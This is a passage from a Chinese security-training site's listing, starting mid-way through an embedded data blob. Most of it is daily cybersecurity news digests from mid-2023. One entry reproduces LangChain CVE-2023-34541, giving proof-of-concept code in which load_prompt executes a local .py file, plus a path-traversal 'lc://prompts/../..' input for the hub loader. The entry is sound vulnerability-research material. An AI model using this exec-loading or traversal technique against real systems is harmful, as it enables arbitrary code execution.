Teams的默认配置允许任何拥有微软账户的用户\n\r\n 3、微软发出警告,俄罗斯黑客正进行大范围的凭证窃取攻击\r\n\r\n https:\u002F\u002Fwww.freebuf.com\u002Fnews\u002F370415.html 据微软披露,近日检测到由俄罗斯国家附属黑客组织 \"午夜暴雪 \"进行的凭证窃取攻击激增。微软的威胁情报团队说,入侵行为利用住宅代理服务来混淆攻击的源IP地址,目标是政府、IT服务提供商、非政府组织、国防和关键制造部门。\r\n\r\n 4、新的 Mockingjay 进程注入技术可逃避 EDR 检测\r\n\r\n https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fnew-mockingjay-process-injection-technique-evades-edr-detection\u002F 网络安全公司 Security Joes 的研究人员发现了这种方法,该方法利用带有 RWX(读、写、执行)部分的合法 DLL 来逃避 EDR 挂钩并将代码注入远程进程。\r\n\r\n 5、施耐德电气和西门子能源是 MOVEit 零日攻击的最新受害者\r\n\r\n https:\u002F\u002Fsecurityaffairs.com\u002F147865\u002Fdata-breach\u002Fschneider-electric-siemens-energy-moveit.html Cl0p 勒索软件组织在其暗网泄露网站上新增了 5 名 MOVEit 攻击受害者,其中包括工业控制系统巨头施耐德电气和西门子能源。\r\n\r\n 6、欧洲刑警组织摧毁EncroChat 抓捕 6,558 名犯罪分子并扣押 9 亿欧元\r\n\r\n https:\u002F\u002Fthehackernews.com\u002F2023\u002F06\u002Fencrochat-bust-leads-to-6558-criminals.html 欧洲刑警组织周二宣布,2020 年 7 月取缔EncroChat导致全球 6,558 人被捕,并没收了 9 亿欧元非法犯罪所得。该执法机构表示,法国和荷兰当局随后发起的联合调查拦截并分析了至少 6 万名用户通过加密消息平台进行的超过 1.15 亿次对话。\r\n\r\n 7、沃斯堡政府官员确认网络攻击事件,但否认敏感信息泄露\r\n\r\n https:\u002F\u002Ftherecord.media\u002Ffort-worth-cyberattack-sieged-sec 德克萨斯州沃斯堡的官员证实,一个包含政府信息的网站被一群黑客入侵并访问,但淡化了事件的严重性。周五,一个名为 SiegedSec 的黑客组织在 Telegram 上声称,他们从该市政府窃取了约 500,000 个文件,该市有超过 935,000 名居民。\r\n\r\n 8、出资 2000 万美元!谷歌将在全美推广免费网络安全诊所\r\n\r\n https:\u002F\u002Fcybernews.com\u002Fsecurity\u002Fgoogle-pledges-20m-free-cybersecurity-clinics-across-us\u002F 谷歌声明将投入 2000 万美元,用于在美国各地开设更多的网络安全实践诊所,以帮助填补美国的网络安全劳动力缺口,并在不断变化的威胁面前保持领先地位。\r\n\r\n 9、5 月份,全球范围内针对组织的勒索软件攻击激增了近 25%\r\n\r\n https:\u002F\u002Fcybernews.com\u002Fnews\u002Fmay-ransomware-attack-surge-8base-akira-new-gangs\u002F 一项新的研究显示,5 月份,全球范围内针对组织的勒索软件攻击数量激增了近 25%,这是今年迄今为止记录的最高数量,而这一增长的部分原因是现场出现了一个名为 8BASE 的新团伙。\r\n\r\n 10、全国人大法工委:为 AI 换脸诈骗提供技术支持同样追责\r\n\r\n http:\u002F\u002Fwww.anquan419.com\u002Fknews\u002F24\u002F5413.html 针对利用“AI换脸”技术进行视频合成、进而实施诈骗这一新型电信网络诈骗的有关法律问题,全国人大常委会法制工作委员会举行记者会,发言人臧铁伟进行回应。他表示,对于构成诈骗罪的,要依照刑法规定追究刑事责任;对于为利用“AI换脸”实施诈骗行为提供技术支持、帮助的,要根据反电信网络诈骗法的规定进行行政处罚,构成犯罪的,还要根据刑法第二百八十七条之二帮助信息网络犯罪活动罪等追究刑事责任。\r\n\r\n 免责声明\r\n\r\n 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。",openTime:"2023-06-28T08:35:31+08:00",viewsNum:3189},{id:"20230627152728",type:b,title:"LangChain 任意命令执行(CVE-2023-34541)",abstract:"漏洞简介\r\n\r\nLangChain是一个用于开发由语言模型驱动的应用程序的框架。\r\n\r\n在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。\r\n\r\n漏洞复现\r\n\r\n在项目下编写 test.py \r\n\r\nfrom langchain.prompts import load_prompt\r\nif __name__ == '__main__':\r\n    loaded_prompt = load_prompt(\"system.py\")\r\n\r\n同级目录下编写 system.py 执行系统命令 dir \r\n\r\nimport os\r\nos.system(\"dir\")\r\n\r\n运行 test.py 返回了执行系统命令dir 的结果\r\n\r\n 漏洞分析-_load_prompt_from_file \r\n\r\nlangchain.prompts.loading.load_prompt \r\n\r\ntry_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file \r\n\r\nlangchain.prompts.loading._load_prompt_from_file \r\n\r\n在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行\r\n\r\n也就相当于,代码可以简写为\r\n\r\nif __name__ == '__main__':\r\n    file_path = \"system.py\"\r\n    with open(file_path, \"rb\") as f:\r\n        exec(f.read())\r\n\r\n‍\r\n\r\n漏洞分析-try_load_from_hub \r\n\r\n因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析\r\n\r\nfrom langchain.prompts import load_prompt\r\n \r\nif __name__ == '__main__':\r\n    loaded_prompt = load_prompt(\"lc:\u002F\u002Fprompts\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fsystem.py\")\r\n\r\nlangchain.prompts.loading.load_prompt \r\n\r\nlangchain.utilities.loading.try_load_from_hub \r\n\r\n首先匹配了 HUB_PATH_RE = re.compile(r\"lc(?Pref@[^:]+)?:\u002F\u002F(?Ppath.*)\") 所以需要满足最开始是 lc:\u002F\u002F \r\n\r\n然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中\r\n\r\n最后拼接请求的url 可以通过 ..\u002F..\u002F..\u002F 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行\r\n\r\n漏洞小结\r\n\r\n在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306271456561.png",openTime:"2023-06-27T15:27:45+08:00",viewsNum:5509},{id:"20230627081044",type:a,title:"网络安全日报 2023年06月27日",abstract:"1、新型Mirai变种利用8个漏洞攻击多种IoT设备\r\n\r\n https:\u002F\u002Funit42.paloaltonetworks.com\u002Fmirai-variant-targets-iot-exploits\u002F 研究人员介绍了一种新发现的Mirai变种,它能利用8个新的漏洞攻击多种嵌入式设备,包括无线演示系统、机顶盒、SD-WAN和智能家居控制器等。Mirai是一种自2016年以来就存在的恶意软件,主要用于发动DDoS攻击和自我传播。研究人员分析了这种新型Mirai变种的感染流程、攻击载荷、C2服务器和目标设备,并给出了一些防御建议。还提供了一些IoT设备安全的最佳实践,例如更改默认密码、禁用不必要的服务、及时更新固件等。\r\n\r\n 2、LockBit勒索软件瞄准苹果M1芯片和嵌入式系统\r\n\r\n https:\u002F\u002Fsecurelist.com\u002Fcrimeware-report-lockbit-switchsymb\u002F110068\u002F 研究人员介绍LockBit勒索软件团伙正在开发针对苹果M1芯片和嵌入式系统的勒索软件。这些目标都是传统的Windows环境之外的,可能给受害者带来全新的问题。研究人员指出,LockBit是一个提供勒索软件即服务(RaaS)的团伙,它利用自动传播的恶意软件和双重加密的方法来进行攻击。研究人员还提到了LockBit的一些特点,如三重勒索的方法、先进的技术、高危的网络攻击和对合作伙伴的大力推广。研究人员建议企业采取结构化的漏洞管理流程来保护自己,根据严重性和风险优先\n\r\n 3、研究人员发布了针对Cisco AnyConnect Secure漏洞的PoC\r\n\r\n https:\u002F\u002Fgithub.com\u002FWh04m1001\u002FCVE-2023-20178\u002Fblob\u002Fmain\u002FREADME.md 研究人员介绍了一个高危漏洞(CVE-2023-20178)的证明概念(PoC)利用代码,该漏洞影响思科AnyConnect安全移动客户端软件(Windows版)和思科安全客户端软件(Windows版)。该漏洞存在于客户端更新过程中,如果攻击者已经在本地以低权限用户登录,就可以利用该漏洞提升为SYSTEM权限。这是因为在更新过程中创建的临时目录被赋予了不恰当的权限,攻击者可以通过滥用Windows安装程序进程的一个特定函数来执行任意代码。该漏洞的PoC利用代码是由一名\n\r\n 4、LastPass用户因MFA重置而被锁定账户\r\n\r\n https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Flastpass-users-furious-after-being-locked-out-due-to-mfa-resets\u002F LastPass用户在5月初收到要求重置多因素认证(MFA)应用的电子邮件后,无法访问他们的密码库。LastPass是一款流行的密码管理器,可以让用户在不同的设备和浏览器上安全地存储和同步他们的密码。为了提高安全性,LastPass还支持多种MFA选项,包括Google Authenticator、Microsoft Authenticator、YubiKey等。然而,一\n\r\n 5、Grafana发布安全更新以修复CVE-2023-3128严重漏洞\r\n\r\n https:\u002F\u002Fgrafana.com\u002Fblog\u002F2023\u002F06\u002F22\u002Fgrafana-security-release-for-cve-2023-3128\u002F Grafana发布了新版本的软件,修复了一个严重的安全漏洞,编号为CVE-2023-3128。该漏洞存在于Grafana的数据源配置页面中,如果攻击者能够访问该页面,就可以利用该漏洞执行任意代码。这是因为在数据源配置页面中,有一个“测试”按钮,可以用来测试数据源的连接和查询。但是,这个按钮没有对用户输入进行充分的验证和转义,导致了一个存储型跨站脚本(XSS)漏洞。如果攻击者能够在数据源配置页面中插入恶意代码,并诱使其他用户点击“测试”\n\r\n 6、CISA 称 Zyxel NAS 严重漏洞遭到攻击利用\r\n\r\n https:\u002F\u002Fwww.securityweek.com\u002Fcisa-says-critical-zyxel-nas-vulnerability-exploited-in-attacks\u002F CISA 警告 Zyxel NAS 产品的用户,最近修补的关键漏洞 CVE-2023-27992 已被利用进行攻击。\r\n\r\n 7、BIND 修补了的可被远程利用的 DoS 漏洞\r\n\r\n https:\u002F\u002Fwww.securityweek.com\u002Fremotely-exploitable-dos-vulnerabilities-patched-in-bind\u002F 最新的 BIND 更新解决了三个导致拒绝服务 (DoS) 的高严重性、可远程利用的漏洞。\r\n\r\n 8、森科尔能源公司遭网络攻击影响了加拿大加油站的支付业务\r\n\r\n https:\u002F\u002Fsecurityaffairs.com\u002F147834\u002Fhacking\u002Fpetro-canada-suncor-problems.html Suncor Energy 是加拿大领先的综合能源公司,在加拿大和美国提供油砂开发、生产和升级、海上石油和天然气以及石油炼制服务。它拥有加拿大石油公司的零售和批发分销网络。\r\n\r\n 9、研究人员找到通过分析 LED 闪烁恢复加密密钥的方法\r\n\r\n https:\u002F\u002Fthehackernews.com\u002F2023\u002F06\u002Fresearchers-find-way-to-recover.html 在巧妙的旁道攻击中,一组学者发现可以通过分析设备电源 LED 的视频片段来恢复设备的密钥。内盖夫本古里安大学和康奈尔大学的研究人员在一项研究中表示:“CPU 执行的密码计算会改变设备的功耗,从而影响设备电源 LED 的亮度。”\r\n\r\n 10、动视暴雪游戏因长达数小时的 DDoS 攻击而瘫痪\r\n\r\n https:\u002F\u002Ftherecord.media\u002Factivision-blizzard-crippled-by-ddos 根据动视暴雪在 Twitter 上的声明,此次攻击持续了 10 多个小时,并于周日晚些时候得到缓解。暴雪尚未确定其背后的黑客组织,也没有人站出来声称对此负责。\r\n\r\n 免责声明\r\n\r\n 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。",openTime:"2023-06-27T08:10:44+08:00",viewsNum:3901},{id:"20230626080154",type:a,title:"网络安全日报 2023年06月26日",abstract:"1、Mallox勒索软件采用新的感染策略发起攻击\r\n\r\n https:\u002F\u002Fblog.cyble.com\u002F2023\u002F06\u002F22\u002Fmallox-ransomware-implements-new-infection-strategy\u002F Mallox勒索软件是一种在2021年6月首次出现的恶意软件,它的特点是在加密文件后添加目标公司的名称作为文件扩展名。这种勒索软件也被称为“TargetCompany”,因为它会在加密文件后添加“.mallox”或“.malox”扩展名。研究人员最近发现了Mallox勒索软件的新变种,它采用了一种新的感染策略,不再需要从远程服务器下载勒索软件载荷,而是将其嵌入到一个批处理脚本中,然后注入到“MSBuild.exe”中,不\n\r\n 2、NSA发布指南应对BlackLotus威胁\r\n\r\n https:\u002F\u002Fwww.nsa.gov\u002FPress-Room\u002FPress-Releases-Statements\u002FPress-Release-View\u002FArticle\u002F3435305\u002Fnsa-releases-guide-to-mitigate-blacklotus-threat\u002F 美国国家安全局(NSA)发布了一份指南,旨在帮助网络防御者应对BlackLotus恶意软件的威胁。BlackLotus是一种利用微软Windows安全启动过程中的一个已知漏洞绕过Secure Boot保护的恶意软件,它可以在系统启动时加载恶意代码,从而控制系统并窃取敏感数据。NSA指出,BlackLotus恶意软\n\r\n 3、SupremeBot恶意软件伪装成超级马里奥游戏安装程序进行传播\r\n\r\n https:\u002F\u002Fblog.cyble.com\u002F2023\u002F06\u002F23\u002Ftrojanized-super-mario-game-installer-spreads-supremebot-malware\u002F SupremeBot恶意软件是一种利用伪装成超级马里奥游戏安装程序的方式传播的恶意软件,它可以在用户的电脑上安装多个恶意组件,包括一个XMR挖矿器、一个SupremeBot挖矿客户端和一个开源的Umbral窃密器。研究人员发现了一个名为“Super-Mario-Bros.exe”的可疑文件,它是一个32位的Nullsoft Installer(NSIS)自解压归档可执行文件,它包含了一个合法的超\n\r\n 4、参与2020年推特大规模黑客攻击的英国人被判五年监禁\r\n\r\n https:\u002F\u002Fwww.justice.gov\u002Fusao-sdny\u002Fpr\u002Fuk-citizen-sentenced-five-years-prison-cybercrime-offenses Joseph James O’Connor(又名PlugwalkJoe),24岁,是一名英国公民,他参与了2020年7月对推特的大规模黑客攻击,该攻击导致130个知名账号被劫持,并用于实施一场涉及12万美元的加密货币诈骗。O’Connor于上周五在美国纽约南区被判处五年监禁,这是在他一个月多前承认了自己的罪行之后。他于2021年7月在西班牙被捕。美国司法部(DoJ)表示,O’Connor和他的同伙利用了\n\r\n 5、美国航空和西南航空披露影响飞行员的数据泄露事件\r\n\r\n https:\u002F\u002Fwww.documentcloud.org\u002Fdocuments\u002F23859182-southwest-data-breach-notification-letters 美国航空和西南航空是世界上最大的两家航空公司,它们在近日披露了一起数据泄露事件,该事件是由一家第三方供应商Pilot Credentials的黑客攻击造成的。Pilot Credentials是一家管理多家航空公司的飞行员申请和招聘门户的供应商。美国航空在一份通知信中表示,Pilot Credentials于2023年6月18日通知了美国航空,称其系统于2023年5月24日遭到了未经授权的访问,导致部分美国航空\n\r\n 6、美国卫生部警告医疗行业面临SEO投毒攻击的风险\r\n\r\n https:\u002F\u002Fwww.hhs.gov\u002Fsites\u002Fdefault\u002Ffiles\u002Fjune-2023-seo-poisoning-analyst-note-tlpclear.pdf 搜索引擎优化(SEO)投毒攻击是一种故意操纵搜索结果,引导用户访问植入恶意软件的网站的攻击方式,这种攻击方式在医疗行业日益增多,美国联邦监管机构发出警告。美国卫生部的卫生部门网络安全协调中心(HHS HC3)发布了一份警报,提醒医疗行业注意SEO投毒攻击的威胁。该警报称,这种攻击方式最近经常针对美国医疗和公共卫生部门。HHS HC3表示,SEO投毒攻击的幕后黑手利用诸如谷歌等搜索引擎,使得第一个广告链接实际上指向攻\n\r\n 7、Fortinet修复了关键的FortiNAC远程命令执行漏洞\r\n\r\n https:\u002F\u002Fwww.fortiguard.com\u002Fpsirt\u002FFG-IR-23-074 网络安全解决方案公司Fortinet更新了其零信任访问解决方案FortiNAC,以解决攻击者可利用该漏洞来执行代码和命令。FortiNAC允许组织管理网络范围的访问策略,获得设备和用户的可见性,并保护网络免受未经授权的访问和威胁。该安全问题被跟踪为CVE-2023-33299,严重程度评分为9.6(满分10)。它是不受信任数据的反序列化,可能导致未经身份验证的远程代码执行(RCE)。供应商没有提供缓解建议,因此建议的操作是应用可用的安全更新。CVE-2023-33299是由提供红队、渗透测试和威胁情报\n\r\n 8、美国司法部创建新的国家安全网络部门\r\n\r\n https:\u002F\u002Fcybernews.com\u002Fsecurity\u002Fdoj-creates-new-national-security-cyber-section\u002F 新成立的部门正式简称为 NatSec Cyber,是为了响应美国司法部长办公室在司法部 (DoJ) 2022 年全面网络审查中的核心调查结果而创建。\r\n\r\n 9、曼彻斯特大学证实在最近的网络攻击中数据被盗\r\n\r\n https:\u002F\u002Fwww.manchester.ac.uk\u002Fdiscover\u002Fnews\u002Fcyber-incident-update\u002F 曼彻斯特大学最终证实,六月初披露的网络攻击背后的攻击者窃取了校友和在校学生的数据。该大学于6月9日首次披露了此次攻击 ,警告数据可能被盗,但表示该事件与MOVEit Transfer数据盗窃攻击无关。“根据我们的调查,我们认为一小部分数据被复制,涉及一些学生和一些校友。我们已直接写信给那些可能受到此影响的个人,”该大学表示。“我们尚未发现任何未经授权访问银行账户或银行卡支付详细信息的情况,我们不会在上述系统上存储此类信息。 ”该大学表示,正在与相关当局合作调查这\n\r\n 10、微软发现针对物联网设备和Linux系统的恶意挖矿活动\r\n\r\n https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2023\u002F06\u002F22\u002Fiot-devices-and-linux-based-systems-targeted-by-openssh-trojan-campaign\u002F 加密劫持是非法使用计算资源来挖掘加密货币的行为,近年来变得越来越普遍,攻击者围绕攻击工具、基础设施和服务构建网络犯罪框架,通过针对包括物联网在内的各种易受攻击的系统来获取收入。微软研究人员最近发现了一种利用自定义和开源工具来针对面向互联网的基于Linux的系统和物联网设备的攻击。该攻击使用OpenSSH的修补版本来控制受影响的设备并安装\n\r\n 免责声明\r\n\r\n 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。",openTime:"2023-06-26T08:01:54+08:00",viewsNum:3132}]},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"38143606f6783bdecbea423c7c59ed0e",isMobileDevice:false}}("industry","specialized"))
网络安全日报 2023年07月04日
1、研究人员发现恶意软件RUSTBUCKET的新变种 https://www.elastic.co/cn/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket 近期,研究人员发现了恶意软件RUSTBUCKET的新变种。RUSTBUCKET是一种针对macOS系统的恶意软件家族,该新变种增加了曾经未观察到的持久化功能,这反映了该恶意软件仍处于开发阶段,并且该变种在VirusTotal平台中未被任何引擎检测到。RUSTBUCKET新变种通过在“/Users//Library/LaunchAgents/com.apple.systemupdate.plist”路径中添加一个plist 2、攻击者利用DNS TXT记录传播恶意软件 https://asec.ahnlab.com/en/54916/ DNS TXT记录是一种功能,允许域管理员将文本输入到DNS中,最初被用于记录人类可读的注释,现在则用于显示保存在DNS中的各类信息,例如垃圾邮件防护、域所有权验证等。在近期的一封网络钓鱼邮件中,研究人员发现其附件中的PPAM文件中存在一段宏代码,执行一个PowerShell命令以运行nslookup工具查询DNS TXT记录。攻击者在其DNS TXT命令中上传了各种命令,当DNS TXT记录被查询时这些命令将得到执行,从而达到传播恶意软件的目的。 3、Nessus插件存在权限提升漏洞 https://cybersecuritynews.com/nessus-plugin-flaw/ Tenable开发的Nessus是一款流行的漏洞扫描工具。近期,安全研究人员发现该工具的一个插件中存在权限提升漏洞,攻击者可以在文件系统中的特定位置放置二进制文件,以滥用插件提升权限,此漏洞的CVSS评分为6.3。Tenable已针对该漏洞发布安全补丁,并且Java检测和识别插件已进行更新,以防止此权限提升漏洞被攻击者利用。 4、谷歌浏览器发布114版本修复多个安全漏洞 https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop_26.html 谷歌浏览器发布了适用于Windows系统的114.0.5798.198/199版本以及适用于Mac和Linux系统的114.0.5735.198版本更新,该更新修复了多个安全漏洞。这些安全漏洞被标记为CVE-2023-3420、CVE-2023-3421、CVE-2023-3422。谷歌建议用户尽快将浏览器更新到最新版本,并表示关于这些安全漏洞的详细信息在大多数用户进行更新前将受到限制。 5、美敦力Paceart Optima系统存在严重的RCE漏洞 https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html Paceart Optima是一款在Windows服务器上运行的应用程序,该程序从心脏监控设备中收集、存储和检索数据,以帮助实现标准的工作流程。美敦力在Paceart Optime系统中的可选消息传递功能中发现了一个漏洞,若医疗服务机构在该系统中启动该服务,则未经授权的攻击者可以利用此漏洞执行远程代码执行或发起拒绝服务攻击,从而导致数据被窃取、删除或篡改,并可能进行进一步的网络攻击。该漏洞存在于Pa 6、研究人员称MOVEit漏洞导致超过1600万人的信息泄露 https://therecord.media/data-of-sixteen-million-exposed-moveit 安全研究人员称,迄今为止,已有1600多万人的信息被黑客利用MOVEit软件中的漏洞进行访问,而这一数字可能只是其中的一小部分。自今年6月1日以来,安全专家就该漏洞发出警告,自此之后美国和欧洲的数十家大型组织机构透露他们受到了该漏洞的影响。一名持续跟踪此次事件的研究人员表示,目前已确认的受害组织机构至少有158个,其中只有11个组织透露了受此次漏洞影响的人数,受影响的总人数可能远多于目前所知人数。 7、Activate Healthcare证实其患者的数据信息遭到泄露 https://www.jdsupra.com/legalnews/activate-healthcare-notifies-patients-7697622/ Activate Healthcare是一家总部位于美国伊利诺伊州的医疗保健供应商,该公司近期证实未经授权的攻击者在2023年4月22日及28日访问其计算机系统,并证实攻击者从计算机系统中窃取了一些文件,其中包含患者的信息。被窃取的患者信息可能包括姓名、社会保险号码、出生日期、地址、驾照号码和临床信息等,该公司已向受到此次数据泄露影响的患者发出了通知。 8、研究人员发现一种绕过语音身份认证的方法 https://uwaterloo.ca/news/media/how-secure-are-voice-authentication-systems-really 安全研究人员发现了一种攻击方法,该方法可以成功绕过语音身份认证,只需6次尝试便可达到99%的成功率。该团队识别了deepfake音频中的由计算机生成的标记,并开发了一个程序删除这些标记,从而无法对其生成的音频和真实音频进行区分。在最近针对Amazon Connect语音认证系统的测试中,他们在一次4秒的攻击中取得了10%的成功率,而在不到30秒的时间内,成功率达到40%以上。针对一些不太复杂的语音认证系统,他们在进行6次尝试后便 9、基于Flutter的安卓恶意软件,瞄准东亚市场 https://thehackernews.com/2023/06/fluhorse-flutter-based-android-malware.html Fortinet FortiGuard实验室研究员Axelle Apvrille在上周发表的一份报告中说,这种恶意软件的出现代表了一种重大转变,因为它直接将恶意组件纳入Flutter代码中。 10、Pornhub被指控在欧洲非法收集数据 https://cybernews.com/privacy/pornhub-accused-of-illegal-data-collection-in-europe/ 意大利已对Pornhub提起诉讼,指控该平台收集并与未知第三方共享有关用户性偏好的信息。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月03日
1、20万个WordPress网站遭利用“Ultimate Member”插件漏洞的攻击 https://www.securityweek.com/200000-wordpress-sites-exposed-to-attacks-exploiting-flaw-in-ultimate-member-plugin/ 攻击者利用 Ultimate Member 插件中的关键漏洞在 WordPress 网站上创建管理帐户。 2、MITRE 更新了 CWE 25 个最危险的软件漏洞 https://www.securityweek.com/mitre-updates-cwe-top-25-most-dangerous-software-weaknesses/ 在 2023 年 CWE Top 25 列表中,释放后使用漏洞和操作系统命令注入漏洞位列前 5 位最危险的软件漏洞。 3、LockBit 勒索组织声称攻击了台积电,并索要 7000 万美元赎金 https://www.securityweek.com/tsmc-says-supplier-hacked-after-ransomware-group-claims-attack-on-chip-giant/ LockBit 勒索软件组织声称对台积电 (TSMC) 进行了黑客攻击,但这家芯片巨头表示,只有其一家供应商遭到入侵。 4、Avast 发布了针对 Windows 版本 Akira 勒索软件的免费解密器 https://securityaffairs.com/148007/cyber-crime/akira-ransomware-decryptor.html Avast 发布了 Akira 勒索软件的免费解密器,可以让受害者无需支付赎金即可恢复数据。 5、伊朗MuddyWater组织使用新型C2框架PhonyC2进行网络攻击 https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater 伊朗政府支持的网络间谍组织MuddyWater(又称Mango Sandstorm或Mercury)自2021年起使用了一个名为PhonyC2的新型命令与控制(C2)框架,用于对目标进行渗透和数据窃取。该框架是用Python 3编写的,与MuddyWater之前使用的MuddyC3框架2有很多相似之处,但也有一些改进和更新。PhonyC2框架可以动态生成PowerShell后门, 6、俄罗斯黑客组织通过付费招募志愿者发动DDoS攻击 https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/ DoSia是一个由支持俄罗斯的黑客组织NoName057(16)发起的众包项目,旨在通过付费招募志愿者,对西方目标进行分布式拒绝服务(DDoS)攻击。 7、SAP披露多个严重漏洞,包括可自动传播的利用链 https://sec-consult.com/blog/detail/responsible-disclosure-of-an-exploit-chain-targeting-the-rfc-interface-implementation-in-sap-application-server-for-abap/ SAP是一家提供企业软件解决方案的公司,其产品广泛应用于各行各业。近日,SAP公布了多个影响其产品的严重漏洞,其中最引人关注的是一条可自动传播的利用链,涉及四个漏洞。这条利用链可以让攻击者在没有任何身份验证的情况下,远程执行任意代码,并在SAP系统之间进行横向移动。 8、npm生态系统存在巨大漏洞,可能导致代码执行和数据泄露 https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem npm是一个流行的JavaScript包管理器,用于安装和管理开发者所需的各种模块和依赖。然而,近日,一位前npm CLI团队的工程师发现了一个影响npm生态系统的巨大漏洞,可能导致任意代码执行和数据泄露。这个漏洞的根源在于npm处理包清单(package.json)文件的方式。包清单文件是一个描述包属性和依赖的JSON文件,通常包含一些元数据,例如包名、版本、作者、许可证等。然而,npm允许包清单文件中包含任意字段,而不进行任何验证或过滤。这就导致了一个安全问题,即 9、攻击者通过恶意广告传播BlackCat勒索软件 https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html 近期,安全研究人员发现攻击者伪造WinSCP的网页传播多种恶意软件,WinSCP是一个用于进行文件传输的开源Windows应用程序。此次攻击活动传播的恶意软件中包括BlackCat勒索软件,并且攻击者传播SpyBoy恶意软件以终止用户电脑中运行的反病毒安全产品。除此之外,攻击者还使用PuTTY传输收集的数据以达到数据泄露的目的。 10、研究人员发现活跃的代理劫持攻击活动 https://www.akamai.com/blog/security-research/proxyjacking-new-campaign-cybercriminal-side-hustle 研究人员发现了一个针对易受攻击的SSH服务器的代理劫持活动,通过代理劫持,攻击者不仅可以窃取资源,还能够利用受害者未使用的宽带以换取经济利益。此次攻击活动利用受感染的Web服务器传播必要的依赖项,检查受害服务器中是否存在竞品并进行终止,采用混淆技术以规避安全产品的检测。研究人员称,代理劫持已成为网络攻击者利用受感染设备获取经济利益的一种新的方式。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月30日
1、Arcserve UDP存在身份验证绕过漏洞利用代码公开 https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe Arcserve UDP是一种用于数据备份和恢复的软件,它支持多种平台和设备。近日,安全研究人员发现了Arcserve UDP的一个严重漏洞,编号为CVE-2023-26258,该漏洞允许攻击者绕过身份验证,执行任意命令,甚至完全控制受影响的系统。该漏洞影响了Arcserve UDP 7.0.0.0版本及以下,目前还没有官方的补丁或解决方案。安全研究人员已经在GitHub上公开了该漏洞的利用代码,提醒用户尽快升级或禁用Arcserve UDP服务,以防止被黑客攻击。 2、Microsoft Sysmon新增文件创建事件检测功能 https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-when-executables-files-are-created/ Microsoft Sysmon是一种Windows系统服务和设备驱动程序,它可以在系统重启后持续监控和记录系统活动到Windows事件日志中。它可以提供关于进程创建、网络连接、文件创建时间变化等方面的详细信息。最近,Microsoft Sysmon发布了14.14版本,新增了一个文件创建事件检测功能,该功能可以记录当一个文件被创建或覆盖时的相关信息,如文件名、路径、大 3、8Base勒索软件攻击美国和巴西企业 https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html 8Base是一种勒索软件组织,自2022年3月以来一直活跃,但在2023年6月出现了大幅的活动增长。8Base的攻击目标涵盖了多个行业,如商业服务、金融、制造和信息技术等。这个组织在其暗网泄露站上提供了受害者的详细信息,以及多种联系方式,包括Telegram频道和Twitter账号。8Base自称是“简单的渗透测试人员”,并使用“.8base”作为加密文件的扩展名。研究人员对8Base的勒索软件进行了分析,发现了一些有趣 4、手机监控应用 LetMeSpy 披露数据泄露事件 https://securityaffairs.com/147968/data-breach/letmespy-disclosed-security-breach.html 手机监控应用程序 LetMeSpy 披露了一个安全漏洞,威胁行为者窃取了与数千名 Android 用户相关的敏感数据,包括消息、位置、通话记录、电子邮件地址和电话号码。 5、美国专利商标局通知申请人长达数年的数据泄露 https://techcrunch.com/2023/06/28/uspto-trademark-data-api-leak/ 美国专利商标局 (USPTO) 在发给受影响商标申请人的通知中表示,他们的私人住所地址(通常是家庭住址)在 2020 年 2 月至 2023 年 3 月期间无意中出现在公共记录中。 6、WordPress 社交登录插件中的严重安全漏洞暴露了用户帐户 